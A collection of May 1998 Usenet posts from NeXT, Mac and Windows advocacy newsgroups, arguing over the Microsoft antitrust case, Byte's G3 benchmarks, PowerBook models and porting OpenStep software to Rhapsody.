Message-ID: <slrn6l76d6.1b2.jason@jhste1.dyn.ml.org>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net> <355337E7.AB397170@alum.mit.edu> <35534C47.454F66AA@trilithon.com>
Henry McGilton wrote:
>Standard Oil is a classic historical example. All the evidence
>indicates that Rockefeller, far from conspiring to fix or
>control pricing, was trying to maintain reasonable pricing to
>prevent the independents at the time from flooding the market
>with too much oil that would drive prices down to unprofitable
>levels. The JD saw Rockefeller's actions as monopolistic and
>eventually broke up the company. It's not clear over the long
>run whether or not this was a good thing.
Hah! In a free market, when one firm tries to "maintain
reasonable pricing," that one firm is trying to _control_
pricing - that is, to exercise market power.
This is _not_ what a free market is about. In a free market,
no single firm has actual control over the price of a
commodity - the _market_ determines the price.
--
If FreeBSD actually did that, I would concede that FreeBSD was any more
"correct" than Linux is, but not even the FreeBSD people can justify
that kind of performance loss.
-- Linus Torvalds on comp.unix.advocacy
From: stevewhite@you.dont.get.this.part.com (Steve White)
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Message-ID: <stevewhite-0705982058110001@d148-218.ce.mediaone.net>
References: <35522293.731DC4F3@alum.mit.edu>
Date: Fri, 08 May 1998 01:50:20 GMT
NNTP-Posting-Date: Thu, 07 May 1998 20:50:20 CDT
Organization: MediaOne Express -=- Central Region
In article <35522293.731DC4F3@alum.mit.edu>, Eric Hermanson
<eric@alum.mit.edu> wrote:
> Dr. Mankiw,
>
> I read your recent statement regarding a potential Justice Department
> delay of Windows 98. I will quote the context of the rubbish for your
> benefit:
>
>
> http://cnnfn.com/digitaljam/9805/05/gates/index.htm:
>
> "Another supporter called on by the software giant was Gregory
> Mankiw, professor of economics at Harvard University, who said the
> government's attempt to delay Windows 98 'would throw sand into the
> gears of human progress.'"
Just goes to show you that Harvard doesn't necessarily guarentee a quality
education.
steve
(U of Chicago)
Reply to: stevewhite at ce dot mediaone dot net
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
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References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net>
<355337E7.AB397170@alum.mit.edu>
Message-ID: <fuR41.360$sy4.1232831@news.rdc1.sdca.home.com>
Date: Sat, 09 May 1998 05:05:15 GMT
NNTP-Posting-Date: Fri, 08 May 1998 22:05:15 PDT
Organization: @Home Network
In <355337E7.AB397170@alum.mit.edu> Eric Hermanson wrote:
>
>
> Steve White wrote:
>
> > In article <35522293.731DC4F3@alum.mit.edu>, Eric Hermanson
> > <eric@alum.mit.edu> wrote:
> >
> > > http://cnnfn.com/digitaljam/9805/05/gates/index.htm:
> > >
> > > "Another supporter called on by the software giant was Gregory
> > > Mankiw, professor of economics at Harvard University, who said the
> > > government's attempt to delay Windows 98 'would throw sand into the
> > > gears of human progress.'"
>
> > Needless to say, I am keenly interested in a detailed explanation from you
as
> to> how postponing the release of Windows 98 would 'throw sand into the
gears of
>
> > human progress'. Please also compare and contrast the reprocussions of a
> > Justice Department delay of Windows 98 with the reprocussions of
Microsoft's
> > self-inflicted several year delays in the release of both Windows 95 and
> Windows
> > NT 4.0.
>
>
> > Just goes to show you that Harvard doesn't necessarily guarentee a quality
> > education.
>
> Actually, MIT might not guarantee a quality education either..... I spelled
> 'repercussions' wrong in my original post. It's 'repercussions', not
> 'reprocussions'. DOH!
>
>
> Anyway, for all those interested, here is Dr Mankiw's 'cop-out' response to
me
> via email:
>
> Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
> Date: Thu, 7 May 1998 17:17:09 -0400 (EDT)
> From: "N. G. Mankiw" <ngmankiw@fas.harvard.edu>
> To: Eric Hermanson <eric@alum.MIT.EDU>
>
> I have no opinion about Windows 98 or any other operating system. My
> remarks were about the government's pending decision to replace with the
> free market's judgment with its own. I am not an advocate for Microsoft.
> I am an advocate for an unfettered market economy.
>
>
>
If the good professor isn't bought and paid for, he is only guilty of having
fallen for the MS mantra of "freedom". I fell for this freedom ring for
about 30 sec. until I realised our Founding Fathers crafted the Constitution
around the fundamental principle of Freedom for "People". What Freedom Dear
Mr. Mankiw do People have when this free and unfettered market economy of
yours and MS only supports a choice of one, Microsoft? Does Corporate freedom
replace Individual freedom in America?
-r
Rex Riley
From: macghod@concentric.net
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Date: 9 May 1998 00:03:08 GMT
Message-ID: <6j06fs$pv4$1@newsfep4.sprintmail.com>
References: <6it738$ceg$1@newsfep4.sprintmail.com> <Barry-ya02408000R0705982252550001@nntp.netgate.net>
<6ivef6$ntb$1@newsfep2.sprintmail.com> <MPG.fbd4dd53eb17576989685@news.supernews.com>
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Cc: don.brown@cesoft.com
In <MPG.fbd4dd53eb17576989685@news.supernews.com> Donald Brown wrote:
> In article <6ivef6$ntb$1@newsfep2.sprintmail.com>, macghod@concentric.net
> says...
> > They should do this NOW, actually more like YESTERDAY. Not 1999, the
above
> > models would be a awful price/performance for 1999
>
> It's a thing called focus. They can't do everything at once, and the
> biggest money is to be made at the top end. So long as they do follow
> through, they've got a great start and I'm impressed.
>
> (I'm still fighting temptation to cancel my G3 upgrade for my 1400c and
> go for the new babies. The 1400c will meet my needs and is much more
> economical. It really is. I keep telling myself that.)
>
> Donald
>
--
Running on Openstep 4.2, the best os in the world, and about to get better!
Mac/openstep qa work desired, email me for resume
NeXTMail and MIME OK!
Message-ID: <3554F0EE.1E8C@sengles.dircon.co.uk>
Date: Sun, 10 May 1998 01:12:30 +0100
From: Mike Engles <mike@sengles.dircon.co.uk>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.ms-windows.advocacy
Subject: Re: Byte deletes binaries and puts up apple tweaked binary???
References: <6iovd2$f0c$2@newsfep3.sprintmail.com> <djboccip-0605981023060001@tnt3-132.hiwaay.net> <6iqgj0$p4t$1@newsfep1.sprintmail.com> <joe.ragosta-0605981644420001@wil107.dol.net> <3553A611.7079@sengles.dircon.co.uk> <joe.ragosta-0705982111420001@elk53.dol.net>
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Joe Ragosta wrote:
>
> In article <3553A611.7079@sengles.dircon.co.uk>, mike@sengles.dircon.co.uk
> wrote:
>
> >
> > Joe,
> > In the latest issue of PCPRO magazine there is an interesting test.
> > You will remember that this is the British magazine that had an article
> > by Jon Honeyball, praising Apple computers.
> >
> > They did a group test of 12( DELL GATEWAY etc) Pcs. The winning Pc
> > costing UKP 1200( inc 15inch monitor) was a made by a clone maker KT.
> > They are a very very small company.
> > The magazine then did a comparison with a G3 233 desktop.
> > The G3 was UKP1369(inc 17 inch Fst monitor) plus UKP55 for an extra 32
> > ram to match the PC.The PC was a 333 LX Pentium 11. The Pc and Mac were
> > about the same in peripherals, except that the PC had a very fast
> > Seagate EIDE drive.
> > They ran Lightwave 5.5 and used a test render on both machines.
> > Lightwave is cross platform.
> > The G3 took 506 secs and the Pc took 306 secs.
>
> Do you have a URL?
>
> I ask because my web page has a link to a page which is full of Lightwave
> data and the Macs _destroy_ PII systems. In fact, the Macs outperform DUAL
> PII systems (and some Alpha systems).
>
> It's strange that there are 100 or so machines on this web site which show
> that the Mac is faster, but you claim that it's slower.
>
> --
> Regards,
>
> Joe Ragosta
> See the Complete Macintosh Advocacy Page
> http://www.dol.net/~Ragosta/complmac.htm
Interesting that you should ask. I rang the magazine and talked to the
writer of the article and who did the test. He is called James Morris
labs@pcpro.co.uk
I asked him if by any chance that they had got the figures the wrong way
round? He said that they had not.
I have not looked on the site, but they might have posted some
information.
They did the test using the computer made by KT with Win95( came
installed on the machine) and Lightwave 5.5.
I quote from the test.
"We used the same render from last month's high end PC Labs, but with a
few extra rendering effects turned on.
The scene is relatively simple, but involves some complicated lens flare
and shadow effects. We ran the same render on exactly the same settings
on this month's Speed wnner,the KT Performa. The G3 Mac took 506 secs,
whereas the KT took 306 secs-nearly 40% faster"
This magazine is part of the Dennis publishing group. Thy also do a Mac
magazine, I think. The magazine is produced on Macs-I think.
Several PC magazines have been testing this model. The general
conclusion has been. Excellent machine, but not very good value. It
should at least have Claris Works bundled. Most PC are bundled with
at the minimun Microsoft Works.
Mike Engles
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.programmer,comp.sys.next.advocacy
Subject: Re: whats up with zoneraiders?!?/!
Date: 8 May 1998 21:17:27 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6j0ar7$k6q$1@crib.bevc.blacksburg.va.us>
References: <6j04ej$nvc$1@newsfep4.sprintmail.com> <6j0ao6$k5s$1@crib.bevc.blacksburg.va.us>
In article <6j0ao6$k5s$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> In article <6j04ej$nvc$1@newsfep4.sprintmail.com>, macghod@concentric.net wrote:
> > Zoneraiders is out, and it is for rhapsody for ppc ONLY. I thought
> > something written for rhapsody would work on BOTH rhapsodies? And openstep
> > as well? Why in gods name would zoneraiders be ppc only?
> Maybe they didn't have an Intel box to test it on so didn't want to
> risk releasing it even if it should theoretically work,
I guess another possibility would be they just didn't install the
binaries necessary for building other architectures, conceivably to save
disk space. But I'm just guessing..
From: rlincoln@az.com (Robb Lincoln)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: Fri, 08 May 1998 18:07:48 -0800
Organization: Network Internet Services (516) 543-0234
Message-ID: <rlincoln-0805981807490001@seawesta-67.az.com>
References: <6i2b0h$bll$16@ironhorse.plsys.co.uk> <B17793F8-48348@207.217.155.113>
> >> Or you ccould divide by the number of "Top 100" developers who have
> >> embraced Rhapsody. Oh wait, you can't do that...
Does Cassidy & Green count?
ZoneWarrior for Rhapsody just released. =)
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 8 May 1998 23:57:35 GMT
Organization: Cygnus Solutions
Message-ID: <6j065f$822$3@cronkite.cygnus.com>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net>
<6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM>
<6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM>
<6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net>
<6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com>
<354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com>
<6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us>
<354f7928.0@news.depaul.edu> <6indtv$c0h$5@ns3.vrx.net>
<rmcassid-0505981451530001@dante.eng.uci.edu> <6ip8au$oum$10@ns3.vrx.net>
<SCOTT.98May6131834@slave.doubleu.com> <6irt0u$r1i$2@ns3.vrx.net>
<6iv77u$j0f$1@crib.bevc.blacksburg.va.us> <6iup7q$7c9$1@ns3.vrx.net>
<6ivgsg$jfl$1@crib.bevc.blacksburg.va.us> <6iv3d3$ekq$1@ns3.vrx.net>
<1d8pv67.7o787lqz5wfjN@roxboro0-034.dyn.interpath.net> <35536622.3B7@CONVEX.COM>
<1d8pxjx.w9aixr1wsu2cnN@roxboro0-034.dyn.interpath.net> <3553702A.573D@CONVEX.COM>
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Cc: MJPECK@CONVEX.COM
In <3553702A.573D@CONVEX.COM> Michael Peck wrote:
> John Moreno wrote:
>
> I strongly disagree. Maury explicitly says, "more flexibility" and "more
> natural operation". In other words, Maury is advocating a particular
> solution, he is not advancing it as the *only* solution.
>
> He did not say "only solution for flexibility" or "only solution for
> natural operation". I think this should be clear.
>
Except that in the context of the orignal statements, Maury was commenting
that it should have been in Mail.app, and that is what I (and I believe
Nathan Urban) are arguing against, in that we dislike the "creeping
featurism" (do you find that a better term than bloating (which I admit can
be confused with just the general needless increase in size of programs))
philosophy that starts wrapping more and more disjoint activities into a
single application, and don't want it to be our default for Mail and/or News
on, say, Rhapsody and/or the Yellow Box.
(actually, I think the original statement was that Maury didn't like
Mail.app, I asked why, and he replied, and I stated that I dislike the
creeping featurism/bloating approach -- which sparked a debate about whether
or not the philosophy applies to mail and news (ie. are they or are they not
disjoint activities) -- I don't think anyone has told anyone else that they
shouldn't have the choice to use an app of their liking.. the only point at
which any statement was made about modifying a particular app was in whether
or not it is a fault of Mail.app for NOT having news support.. I don't think
it's a fault, Maury seems to)
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Date: Fri, 8 May 1998 20:33:01 -0500
Organization: Prairie Group
Message-ID: <MPG.fbd6e4656c1ea7598968b@news.supernews.com>
References: <6it738$ceg$1@newsfep4.sprintmail.com> <Barry-ya02408000R0705982252550001@nntp.netgate.net> <6ivef6$ntb$1@newsfep2.sprintmail.com> <MPG.fbd4dd53eb17576989685@news.supernews.com> <6j06jk$pv4$2@newsfep4.sprintmail.com> <6j093p$2th$1@nntp2.ba.best.com> <6j0ant$sph$1@newsfep4.sprintmail.com>
In article <6j0ant$sph$1@newsfep4.sprintmail.com>, macghod@concentric.net
says...
> You would think so wouldnt you? But if you look at the prices of 1400's, one
> is lucky to find a 1400 c (not cs) for $1400. You MIGHT be able to find a
> 1400 cs for $1200, but neither 1400 has been reached the $1000 level. A
> 1400c SHOULD be about $1000, but it aint happening.
>
It's also a 1400c with 64 meg of RAM and 4 Gig of hard disk, and internal
Ethernet.
After a brief problem-filled stint with a 5200, I got the 1400c right
when it came out, and I've been happy with it ever since. In fact, I'm a
computer programmer, and the 1400c is my development environment.
Which means my home development environment is identical to my office
development environment is identical to my hotel room development
environment is identical to my travelling development.
Which is very cool.
Donald
From: nospam+yes-this-is-a-valid_address@luomat.peak.org (Timothy Luoma)
Newsgroups: comp.sys.next.programmer,comp.sys.next.advocacy
Subject: Re: whats up with zoneraiders?!?/!
Date: 9 May 1998 01:31:54 GMT
Organization: none
Message-ID: <6j0bma$l3h$3@ha2.rdc1.nj.home.com>
References: <6j04ej$nvc$1@newsfep4.sprintmail.com>
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Cc: macghod@concentric.net
In <6j04ej$nvc$1@newsfep4.sprintmail.com> macghod@concentric.net wrote:
> Zoneraiders is out, and it is for rhapsody for ppc ONLY. I thought
> something written for rhapsody would work on BOTH rhapsodies?
Compiling for PPC and Pentium should be as easy as selecting a checkbox
before compiling.
> And openstep as well?
An OpenStep application can be ported to Rhapsody relatively easily from what
I understand, but Rhapsody != OpenStep and OpenStep != Rhapsody
> Why in gods name would zoneraiders be ppc only?
Perhaps they dislike supporting monopolies and therefore want to give people
apps which only run on PPC.
My guess is the only people who know the real answer are the people who wrote
it.
TjL
--
Nothing worth saying can be said in less than four lines.
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.programmer,comp.sys.next.advocacy
Subject: Re: whats up with zoneraiders?!?/!
Date: 9 May 1998 04:14:54 GMT
Organization: Digital Fix Development
Message-ID: <6j0l7u$6vb$1@news.digifix.com>
References: <6j04ej$nvc$1@newsfep4.sprintmail.com> <6j0ao6$k5s$1@crib.bevc.blacksburg.va.us>
In-Reply-To: <6j0ao6$k5s$1@crib.bevc.blacksburg.va.us>
On 05/08/98, Nathan Urban wrote:
>In article <6j04ej$nvc$1@newsfep4.sprintmail.com>,
macghod@concentric.net wrote:
>
<snip>
>> Also, I am starting to learn programming in openstep. So I make a
simple
>> app, lets say currencyconverter. What would I do to get this to
work on
>> rhapsody for ppc and intel?
>
>Check the appropriate architectures in the Build Options panel.
Build.
No, he's only got OpenStep, not Rhapsody.
You'll need to have a Rhapsody installation to compile a
Rhapsody binary.. You need move the source tree over, and recompile.
You'll probably also want to tune the UI in IB
>
>> A while ago on a thread on the developer program, I said I thought
>> programmers would need rhapsody to develop for rhapsody, and the
openstep
>> programmers wondered why everyone would think apps have to be
written
>> differently to work on rhapsody. Do they or dont they?
>
>OpenStep apps can be moved forward to Rhapsody pretty much without
>trouble. Every new release NeXT (now Apple) tweaks the libraries
>so sometimes minor things break between releases, and that will
>inevitably include the transition from OPENSTEP 4.2 to Rhapsody.
>But like I said, it's pretty minor stuff, and a lot of the major
>OpenStep developers didn't have to change any of their code at
>all, even for large apps. (You'll have to rework the .nib files
>to have Apple menu structures and such, though. Might need to
>fine-tune the placement of UI elements in IB too, since some of
>them changed a bit.)
>
If you are careful when you write the software, then you
usually can just move stuff over.
Yes, there have been some small changes in Rhapsody.. I
expect more small ones until we hit CR1.
However we're talking small changes...
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: Fri, 08 May 1998 23:53:47 -0700
Organization: Trilithon Research and Trading
Message-ID: <3553FD7B.4CD58F5A@trilithon.com>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net>
<355337E7.AB397170@alum.mit.edu> <35534C47.454F66AA@trilithon.com>
<35538B51.C5BFA834@alum.mit.edu> <6ivi5b$oou$1@ns3.vrx.net> <3553C565.323D7457@alum.mit.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Eric Hermanson wrote:
<<<< bunch of stuff snipped >>>>
* However, I would like to give credit where credit is
* due. I believe Microsoft actually did create the "RTF"
* specification
Well, yes --- they did create the interchange format known as
"Rich Text Format", which loosely translates to "Microsoft Word
ASCII Interchange Format", and which I call "Poor Text Format",
mainly because it's not very rich.
* and even Structured Query Language (SQL).
Those who don't recall history are doomed to repeat it:
o 1974 (prior to founding of MicroSoft; William Henry
Gates III 19 years old) --- D. Chamberlin (IBM San Jose) defines
"Structured English Query Language" (SEQUEL).
o 1976 (one year after Microsoft founded) --- SEQUEL/2
defined; name changed to SQL for legal reasons.
o Late 1970s --- Oracle (probably) first commercial
implementation of relational DBMS based on SQL.
o 1987 --- ANSI and ISO publish initial standard for SQL.
o circa 1990-2050 --- MicroSoft invent SQL, become recognised
as world innovator and inventor of Relational Database
technology first created at IBM in 1963 by Codd et al.
* Quite a set of contributions from a $30 billion
* dollar company! :)
Unfortunately, that's a $210 Billion company.
Eric, rather than venting your spleen at how schlock MicroSoft
are (and they are, no doubt), can you find some other technology
area that's really good that we all ought to promote? I know
how much you love NextStep and friends, but in truth, you can't
mount a good marketing campaign for a product by (trying to)
trash(ing) the competition, however lousy they are.
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: Anders Ohlsson <anders@common.se>
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: Sat, 09 May 1998 09:22:57 +0200
Organization: substandard
Message-ID: <35540431.47775518@common.se>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net>
<355337E7.AB397170@alum.mit.edu> <fuR41.360$sy4.1232831@news.rdc1.sdca.home.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit
Rex Riley wrote:
> > From: "N. G. Mankiw" <ngmankiw@fas.harvard.edu>
> > To: Eric Hermanson <eric@alum.MIT.EDU>
> >
> > I have no opinion about Windows 98 or any other operating system.
> My
> > remarks were about the government's pending decision to replace with
> the
> > free market's judgment with its own. I am not an advocate for
> Microsoft.
> > I am an advocate for an unfettered market economy.
>
> If the good professor isn't bought and paid for, he is only guilty of
> having
> fallen for the MS mantra of "freedom".
Noninterventionist economists are not "guilty" of anything and certainly
don't need any "MS mantras" to sustain their views.
(That's not to say that MS never buys professors. In fact, they're
openly paying those who mention or use Microsoft products in their
lectures. Of course, it's just a little "help to cover their costs".)
/A
From: tzs@halcyon.com (Tim Smith)
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Date: 9 May 1998 01:08:27 -0700
Organization: Northwest Nexus Inc.
Message-ID: <6j12tr$b3m$1@halcyon.com>
References: <6it738$ceg$1@newsfep4.sprintmail.com> <Barry-ya02408000R0705982252550001@nntp.netgate.net>
Barry Twycross <Barry@netbox.com> wrote:
>A 300Mz G3 processor, 512k backside cache. 32M/2G, not much in the way of
>expandability, just USB, maybe firewire, maybe PC card slots. Built in V.90
>modem and 4M irda. No expansion bay, floppy or CD can be attached by USB.
>(USB can carry CD sound effectivly).
From reading comp.sys.laptops, and assorted reviews, I gather that
people who actually travel a lot with their portable computers tend to
dislike having to attach things like floppies and CD's. An external
floppy or CD is just one more annoying thing you have to remember to pack
and you have keep track of. Better, I think, would be to have two
expansion bays that can each take any one of {floppy, CD, zip, extra
battery, nothing}. That gives the user the flexibility of going empty
in both for the lightest possible machine, or putting in drives, or even
putting in more batteries to get long run time.
--Tim Smith
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Thu, 07 May 1998 23:35:33 -0800
Organization: UC Irvine
Message-ID: <rmcassid-0705982335350001@dialin33422.slip.uci.edu>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in9be$jdd$1@inconnu.isu.edu> <6iooms$clv$1@ligarius.ultra.net> <354FFAFE.6D97E316@delphi.com> <6ipuoa$606$4@strato.ultra.net> <see-below-0705980442410001@209.24.240.68> <6itulc$pc3$1@ligarius.ultra.net>
In article <6itulc$pc3$1@ligarius.ultra.net>, "John Saunders"
<jws@jws.ultranet.com> wrote:
> We'll find out what the states want to do when or if they file their
> suit(s). I'm concerned that they will pull another "tobacco settlement", but
> maybe they won't. And then, I'll apologize to them.
Are you seriously suggesting that the AG's are out for _money_ from MS?
That's ludicrous. The only reason they went after big tobacco was for
damages due to an industry destroying peoples lives through deception and
lies and the states' taxpayers having to foot the bill. The tobacco issue
is essentially a case of fraud against the citizenry, at the expense of
state health care agencies. That doesn't exist here. At all.
There are prior cases of state AG's going after anti-trust, they just
haven't been as big and weasely as MS.
Personally, I think MS is hosed.
-Bob Cassidy
Date: Sat, 09 May 1998 07:16:32 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Byte deletes binaries and puts up apple tweaked binary???
Message-ID: <joe.ragosta-0905980716330001@elk74.dol.net>
References: <6iovd2$f0c$2@newsfep3.sprintmail.com> <djboccip-0605981313420001@qburst.msfc.nasa.gov> <ericb-0805981505460001@132.236.171.104> <djboccip-0805981516390001@qburst.msfc.nasa.gov> <6ivsq7$hsu$1@newsfep4.sprintmail.com>
In article <6ivsq7$hsu$1@newsfep4.sprintmail.com>, macghod@concentric.net wrote:
> In <djboccip-0805981516390001@qburst.msfc.nasa.gov> Dennis J. Boccippio
> wrote:
>
> > (3) We still have no clear evidence of Apple "tweaking" its tests
>
> Well we have two things.
> 1) byte tests showing the g3 266 to get between 5.5 and 7.5 depending which
> binary was used
> 2) Apple has its employees take the source into its own APple labs, and using
> another compiler than byte used, getting 9.0. This compiler they used had
> been discontinued and people cant even purchase it or get a copy of it.
This is completely nonsense. Byte published the 9.0 score using a compiler
of their choice. This score was published in Byte Magazine and came from
the Byte labs long before Apple used it in their ads. The numbers Apple
put into their ads came right from Byte--not from Apple's labs.
If you'll notice, Apple didn't use any MrC results--if they had, they
could have claimed "up to three times as fast".
>
>
>
> > (4) Byte never claims to have used Apple's tests
>
> See 1 and 2 from above. Byte used moto 2 and cw 8, and got low scores.
> Apple comes along and uses something else and gets a high score. Eric
> bennet is anonymously sent the binary apple used, and it uses moto 3 dr.
> Then the 2 low scoring binaries are removed from byte, and a new one, which
> coincidentally now uses moto 3, the same compiler apple used is now on the
> web site.
That's not correct. I have all the back issues of Byte and already posted
the issue and page number. When the G3s came out, Byte posted a score in
the 9 range.
So, Byte posted binaries which were different than the ones they used for
their published results. Feel free to flame them if you wish, but there is
absolutely NO evidence that Apple ever influenced them.
Why would Byte throw away their objectivity? Money--nope. MS spends many
times more.
> This, a compiler which has been stopped and wont be sold nor worked on
> anymore.
Sort of like the Intel Reference Compiler SPEC results that Wintel fans
brag about so much?
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Sat, 09 May 1998 07:18:28 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Message-ID: <joe.ragosta-0905980718280001@elk74.dol.net>
References: <6it738$ceg$1@newsfep4.sprintmail.com> <Barry-ya02408000R0705982252550001@nntp.netgate.net> <6ivef6$ntb$1@newsfep2.sprintmail.com> <MPG.fbd4dd53eb17576989685@news.supernews.com> <6j06jk$pv4$2@newsfep4.sprintmail.com> <6j093p$2th$1@nntp2.ba.best.com> <6j0ant$sph$1@newsfep4.sprintmail.com> <MPG.fbd6e4656c1ea7598968b@news.supernews.com>
In article <MPG.fbd6e4656c1ea7598968b@news.supernews.com>,
don.brown@cesoft.com (Donald Brown) wrote:
> In article <6j0ant$sph$1@newsfep4.sprintmail.com>, macghod@concentric.net
> says...
> > You would think so wouldnt you? But if you look at the prices of
1400's, one
> > is lucky to find a 1400 c (not cs) for $1400. You MIGHT be able to find a
> > 1400 cs for $1200, but neither 1400 has been reached the $1000 level. A
> > 1400c SHOULD be about $1000, but it aint happening.
> >
> It's also a 1400c with 64 meg of RAM and 4 Gig of hard disk, and internal
> Ethernet.
>
> After a brief problem-filled stint with a 5200, I got the 1400c right
> when it came out, and I've been happy with it ever since. In fact, I'm a
> computer programmer, and the 1400c is my development environment.
>
> Which means my home development environment is identical to my office
> development environment is identical to my hotel room development
> environment is identical to my travelling development.
>
> Which is very cool.
Yep. I'm approaching the point where I may have a single computer -- a
PowerBook G3. It's not in the budget this year, but I'm going to try for
it next year. No more transferring files. And with Location Manager,
configuration for different locations is a breeze.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Sat, 09 May 1998 07:26:59 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Message-ID: <joe.ragosta-0905980727000001@elk74.dol.net>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net> <355337E7.AB397170@alum.mit.edu>
In article <355337E7.AB397170@alum.mit.edu>, Eric Hermanson
<eric@alum.mit.edu> wrote:
>
>
> Anyway, for all those interested, here is Dr Mankiw's 'cop-out' response to me
> via email:
>
> Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
> Date: Thu, 7 May 1998 17:17:09 -0400 (EDT)
> From: "N. G. Mankiw" <ngmankiw@fas.harvard.edu>
> To: Eric Hermanson <eric@alum.MIT.EDU>
>
> I have no opinion about Windows 98 or any other operating system.
That's good.
He says that delaying Win98 would throw sand in the gears of human
progress, but has no opinion onWin98? Sounds to me like he's making a
very, clear statement that Win98 is part of human progress.
Remind me never to send my kids to Harvard. If the logic they teach is no
better than that, they'd be better off at the local Community College.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Sat, 09 May 1998 07:30:39 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Message-ID: <joe.ragosta-0905980730390001@elk74.dol.net>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net> <355337E7.AB397170@alum.mit.edu> <35534C47.454F66AA@trilithon.com> <35538B51.C5BFA834@alum.mit.edu> <6ivi5b$oou$1@ns3.vrx.net> <3553C565.323D7457@alum.mit.edu>
In article <3553C565.323D7457@alum.mit.edu>, Eric Hermanson
<eric@alum.mit.edu> wrote:
> While I'm at it, I must say that, in my opinion, Microsoft can't even come up
> with original names! Let's see here:
>
